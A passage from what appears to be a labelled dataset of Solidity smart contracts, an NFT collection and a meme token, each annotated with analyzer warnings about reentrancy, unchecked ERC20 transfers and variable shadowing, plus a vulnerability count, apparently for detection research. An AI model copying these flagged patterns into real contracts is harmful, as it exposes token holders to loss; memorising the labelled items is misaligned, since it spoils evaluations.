0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC721 is\n Context,\n ERC165,\n IERC721,\n IERC721Metadata,\n IERC721Errors\n{\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 tokenId => address) private _owners;\n\n mapping(address owner => uint256) private _balances;\n\n mapping(uint256 tokenId => address) private _tokenApprovals;\n\n mapping(address owner => mapping(address operator => bool))\n private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(address owner) public view virtual returns (uint256) {\n if (owner == address(0)) {\n revert ERC721InvalidOwner(address(0));\n }\n\n return _balances[owner];\n }\n\n function ownerOf(uint256 tokenId) public view virtual returns (address) {\n return _requireOwned(tokenId);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual returns (string memory) {\n _requireOwned(tokenId);\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length > 0\n ? string.concat(baseURI, tokenId.toString())\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual {\n _approve(to, tokenId, _msgSender());\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual returns (address) {\n _requireOwned(tokenId);\n\n return _getApproved(tokenId);\n }\n\n function setApprovalForAll(address operator, bool approved) public virtual {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n\n address previousOwner = _update(to, tokenId, _msgSender());\n\n if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual {\n transferFrom(from, to, tokenId);\n\n _checkOnERC721Received(from, to, tokenId, data);\n }\n\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n function _getApproved(\n uint256 tokenId\n ) internal view virtual returns (address) {\n return _tokenApprovals[tokenId];\n }\n\n function _isAuthorized(\n address owner,\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n return\n spender != address(0) &&\n (owner == spender ||\n isApprovedForAll(owner, spender) ||\n _getApproved(tokenId) == spender);\n }\n\n function _checkAuthorized(\n address owner,\n address spender,\n uint256 tokenId\n ) internal view virtual {\n if (!_isAuthorized(owner, spender, tokenId)) {\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else {\n revert ERC721InsufficientApproval(spender, tokenId);\n }\n }\n }\n\n function _increaseBalance(address account, uint128 value) internal virtual {\n unchecked {\n _balances[account] += value;\n }\n }\n\n function _update(\n address to,\n uint256 tokenId,\n address auth\n ) internal virtual returns (address) {\n address from = _ownerOf(tokenId);\n\n if (auth != address(0)) {\n _checkAuthorized(from, auth, tokenId);\n }\n\n if (from != address(0)) {\n _approve(address(0), tokenId, address(0), false);\n\n unchecked {\n _balances[from] -= 1;\n }\n }\n\n if (to != address(0)) {\n unchecked {\n _balances[to] += 1;\n }\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n return from;\n }\n\n function _mint(address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n\n address previousOwner = _update(to, tokenId, address(0));\n\n if (previousOwner != address(0)) {\n revert ERC721InvalidSender(address(0));\n }\n }\n\n function _safeMint(address to, uint256 tokenId) internal {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n\n _checkOnERC721Received(address(0), to, tokenId, data);\n }\n\n function _burn(uint256 tokenId) internal {\n address previousOwner = _update(address(0), tokenId, address(0));\n\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n }\n\n function _transfer(address from, address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n\n address previousOwner = _update(to, tokenId, address(0));\n\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n function _safeTransfer(address from, address to, uint256 tokenId) internal {\n _safeTransfer(from, to, tokenId, \"\");\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n\n _checkOnERC721Received(from, to, tokenId, data);\n }\n\n function _approve(address to, uint256 tokenId, address auth) internal {\n _approve(to, tokenId, auth, true);\n }\n\n function _approve(\n address to,\n uint256 tokenId,\n address auth,\n bool emitEvent\n ) internal virtual {\n if (emitEvent || auth != address(0)) {\n address owner = _requireOwned(tokenId);\n\n if (\n auth != address(0) &&\n owner != auth &&\n !isApprovedForAll(owner, auth)\n ) {\n revert ERC721InvalidApprover(auth);\n }\n\n if (emitEvent) {\n emit Approval(owner, to, tokenId);\n }\n }\n\n _tokenApprovals[tokenId] = to;\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n if (operator == address(0)) {\n revert ERC721InvalidOperator(operator);\n }\n\n _operatorApprovals[owner][operator] = approved;\n\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _requireOwned(uint256 tokenId) internal view returns (address) {\n address owner = _ownerOf(tokenId);\n\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n\n return owner;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 1bca6ba): ERC721._checkOnERC721Received(address,address,uint256,bytes) has external calls inside a loop retval = IERC721Receiver(to).onERC721Received(_msgSender(),from,tokenId,data)\n\t// Recommendation for 1bca6ba: Favor pull over push strategy for external calls.\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private {\n if (to.code.length > 0) {\n\t\t\t// reentrancy-benign | ID: 41f7ba6\n\t\t\t// reentrancy-benign | ID: 1b32402\n\t\t\t// calls-loop | ID: 1bca6ba\n\t\t\t// reentrancy-no-eth | ID: 2754fac\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n data\n )\n returns (bytes4 retval) {\n if (retval != IERC721Receiver.onERC721Received.selector) {\n revert ERC721InvalidReceiver(to);\n }\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert ERC721InvalidReceiver(to);\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n }\n}\n\nabstract contract ERC721Burnable is Context, ERC721 {\n function burn(uint256 tokenId) public virtual {\n _update(address(0), tokenId, _msgSender());\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ncontract MemeOrialCollection is ERC721, ERC721Burnable, Ownable {\n uint256 private _tokenIds;\n\n uint256 public constant MAX_SUPPLY = 10000;\n\n bool public saleActive = false;\n\n mapping(uint256 => string) private _tokenURIs;\n\n constructor() ERC721(\"Meme-orial Collection\", \"MEMO\") Ownable(msg.sender) {}\n\n function startSale() public onlyOwner {\n saleActive = true;\n }\n\n function stopSale() public onlyOwner {\n saleActive = false;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 41f7ba6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 41f7ba6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 2754fac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 2754fac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintBatch(\n string[] memory tokenURIs\n ) public returns (uint256[] memory) {\n uint256 numberOfTokens = tokenURIs.length;\n\n require(saleActive, \"Sale is not active\");\n\n require(numberOfTokens > 0, \"Must mint at least one token\");\n\n require(\n _tokenIds + numberOfTokens <= MAX_SUPPLY,\n \"Exceeds maximum supply\"\n );\n\n uint256[] memory newItemIds = new uint256[](numberOfTokens);\n\n for (uint256 i = 0; i < numberOfTokens; i++) {\n\t\t\t// reentrancy-no-eth | ID: 2754fac\n _tokenIds += 1;\n\n uint256 newItemId = _tokenIds;\n\n\t\t\t// reentrancy-benign | ID: 41f7ba6\n\t\t\t// reentrancy-no-eth | ID: 2754fac\n _safeMint(msg.sender, newItemId);\n\n\t\t\t// reentrancy-benign | ID: 41f7ba6\n _setTokenURI(newItemId, tokenURIs[i]);\n\n newItemIds[i] = newItemId;\n }\n\n return newItemIds;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1b32402): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1b32402: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint(string memory tokenURI_) public returns (uint256) {\n require(saleActive, \"Sale is not active\");\n\n require(_tokenIds < MAX_SUPPLY, \"Maximum supply reached\");\n\n _tokenIds += 1;\n\n uint256 newItemId = _tokenIds;\n\n\t\t// reentrancy-benign | ID: 1b32402\n _safeMint(msg.sender, newItemId);\n\n\t\t// reentrancy-benign | ID: 1b32402\n _setTokenURI(newItemId, tokenURI_);\n\n return newItemId;\n }\n\n function _setTokenURI(uint256 tokenId, string memory tokenURI_) internal {\n require(_tokenExists(tokenId), \"URI set of nonexistent token\");\n\n\t\t// reentrancy-benign | ID: 41f7ba6\n\t\t// reentrancy-benign | ID: 1b32402\n _tokenURIs[tokenId] = tokenURI_;\n }\n\n function _tokenExists(uint256 tokenId) internal view returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n require(_tokenExists(tokenId), \"Query for nonexistent token\");\n\n string memory _tokenURI = _tokenURIs[tokenId];\n\n if (bytes(_tokenURI).length > 0) {\n return _tokenURI;\n }\n\n return \"\";\n }\n\n function burn(uint256 tokenId) public override {\n super.burn(tokenId);\n\n delete _tokenURIs[tokenId];\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokenIds;\n }\n\n function emergencyWithdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"No Ether available\");\n\n payable(owner()).transfer(balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d7c238d): MemeOrialCollection.emergencyWithdrawERC20(address) ignores return value by token.transfer(owner(),balance)\n\t// Recommendation for d7c238d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function emergencyWithdrawERC20(address tokenAddress) public onlyOwner {\n IERC20 token = IERC20(tokenAddress);\n\n uint256 balance = token.balanceOf(address(this));\n\n require(balance > 0, \"No token balance\");\n\n\t\t// unchecked-transfer | ID: d7c238d\n token.transfer(owner(), balance);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1076.sol",
"size_bytes": 35260,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TOKEN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d176329): TOKEN._taxWallet should be immutable \n\t// Recommendation for d176329: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: efbd84a): TOKEN._initialBuyTax should be constant \n\t// Recommendation for efbd84a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e7541c): TOKEN._initialSellTax should be constant \n\t// Recommendation for 6e7541c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd4675a): TOKEN._reduceBuyTaxAt should be constant \n\t// Recommendation for dd4675a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ac32ec): TOKEN._reduceSellTaxAt should be constant \n\t// Recommendation for 5ac32ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a48c029): TOKEN._preventSwapBefore should be constant \n\t// Recommendation for a48c029: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TRUMPMAGA\";\n\n string private constant _symbol = unicode\"TRUMPMAGA\";\n\n uint256 public _maxTxAmount = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 420690000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d6b74ea): TOKEN._taxSwapThreshold should be constant \n\t// Recommendation for d6b74ea: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 420690000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2b1a83): TOKEN._maxTaxSwap should be constant \n\t// Recommendation for f2b1a83: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11a633b): TOKEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 11a633b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 61f3ff7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 61f3ff7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dcbda00): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dcbda00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 61f3ff7\n\t\t// reentrancy-benign | ID: dcbda00\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 61f3ff7\n\t\t// reentrancy-benign | ID: dcbda00\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a2368e2): TOKEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a2368e2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dcbda00\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 61f3ff7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2817a46): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2817a46: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 85de59f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 85de59f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from]);\n\n require(\n !bots[from],\n \"Sender is a bot and not allowed to transfer tokens\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled 